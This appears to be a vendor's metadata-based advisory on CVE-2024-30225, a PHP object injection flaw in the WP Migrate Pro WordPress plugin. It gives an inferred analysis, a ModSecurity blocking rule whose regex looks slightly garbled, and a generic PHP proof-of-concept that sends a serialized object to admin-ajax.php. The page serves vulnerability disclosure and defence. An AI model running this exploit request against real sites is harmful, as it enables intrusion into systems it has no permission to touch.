Atomic Edge analysis of CVE-2024-30225 (metadata-based):
CVE-2024-30225 is an unauthenticated PHP Object Injection vulnerability in the WP Migrate Pro plugin for WordPress, affecting all versions up to and including 2.6.10. The vulnerability is classified as CWE-502 (Deserialization of Untrusted Data) and has a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), indicating critical severity with network-based, low-complexity exploitation that requires no authentication. Atomic Edge research infers that the plugin deserializes user-supplied input without adequate validation, likely through an AJAX handler or REST API endpoint that accepts serialized data. The patched version is 2.6.11.
Root Cause: The root cause is the deserialization of untrusted input, as stated in the CVE description and consistent with CWE-502. Atomic Edge analysis infers that the plugin uses PHP’s unserialize() function on data received from an unauthenticated request. The specific vulnerable component is not confirmed because no code diff is available. The description notes that no known POP chain exists within the plugin itself, meaning exploitation requires a gadget chain from another installed plugin or theme. This is a common pattern in WordPress where object injection vulnerabilities become exploitable only in the presence of additional vulnerable code.
Exploitation: An attacker sends a crafted HTTP request to a vulnerable endpoint, likely an AJAX action (e.g., /wp-admin/admin-ajax.php?action=wpmdb_something) or a REST API route, with a parameter containing a serialized PHP object payload. The attacker must craft a payload that leverages a POP chain from another plugin or theme to achieve impact. Without knowledge of the exact parameter name, Atomic Edge research infers the parameter is likely related to migration settings, such as ‘data’, ‘settings’, or ‘profile’. The attack vector is network-based and requires no authentication, making it highly dangerous. The CVSS vector confirms that confidentiality, integrity, and availability impacts are all high, but actual impact depends on available gadget chains.
Remediation: The fix in version 2.6.11 likely replaces unserialize() with a safe alternative such as json_decode() or restricts deserialization to authenticated users with proper capability checks. Given CWE-502, the patch probably validates input type and uses allowed_classes option in unserialize() to limit object types. Atomic Edge analysis infers the patch also adds nonce verification or capability checks to the vulnerable endpoint. Since no code diff is available, these are inferred from standard remediation practices for PHP object injection.
Impact: If a POP chain exists on the target system, an unauthenticated attacker can delete arbitrary files, retrieve sensitive data, or execute code. The CVSS score of 9.8 reflects the potential for full system compromise. Even without a POP chain, the vulnerability exposes the site to object injection, which can lead to further attacks. Atomic Edge research emphasizes that the presence of additional plugins or themes with gadget chains is critical to exploitation, but the high CVSS score indicates the severity is significant regardless.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-30225 (metadata-based)
# This rule targets the inferred AJAX endpoint for WP Migrate Pro object injection.
# It blocks requests to admin-ajax.php with the likely action parameter and a serialized payload.
# Adjust the action name if legitimate traffic is affected.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202430225,phase:2,deny,status:403,chain,msg:'CVE-2024-30225 via WP Migrate Pro AJAX object injection',severity:'CRITICAL',tag:'CVE-2024-30225'"
SecRule ARGS_POST:action "@contains wpmdb_" "chain"
SecRule ARGS_POST:data "@rx O:d+:" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-30225 - WP Migrate Pro <= 2.6.10 - Unauthenticated PHP Object Injection
// This PoC demonstrates a generic PHP Object Injection attempt against WP Migrate Pro.
// It assumes the vulnerable endpoint is an AJAX action. The exact action name and
// parameter are inferred from the plugin slug and common WordPress patterns.
// Adjust $target_url and the action name if needed.
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$action = 'wpmdb_process_pull_request'; // Inferred action, may vary
// Craft a serialized payload. Replace with a real POP chain gadget if available.
// For demonstration, we use a simple object that would trigger __wakeup.
class ExploitGadget {
public $cmd = 'id';
public function __wakeup() {
// Simulated gadget: system($this->cmd);
}
}
$payload = serialize(new ExploitGadget());
// Build the POST data. The parameter name 'data' is inferred.
$post_fields = http_build_query([
'action' => $action,
'data' => $payload,
]);
// Send the request
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Note: This PoC is for educational and authorized testing only.
// Actual exploitation requires a valid POP chain on the target.
?>
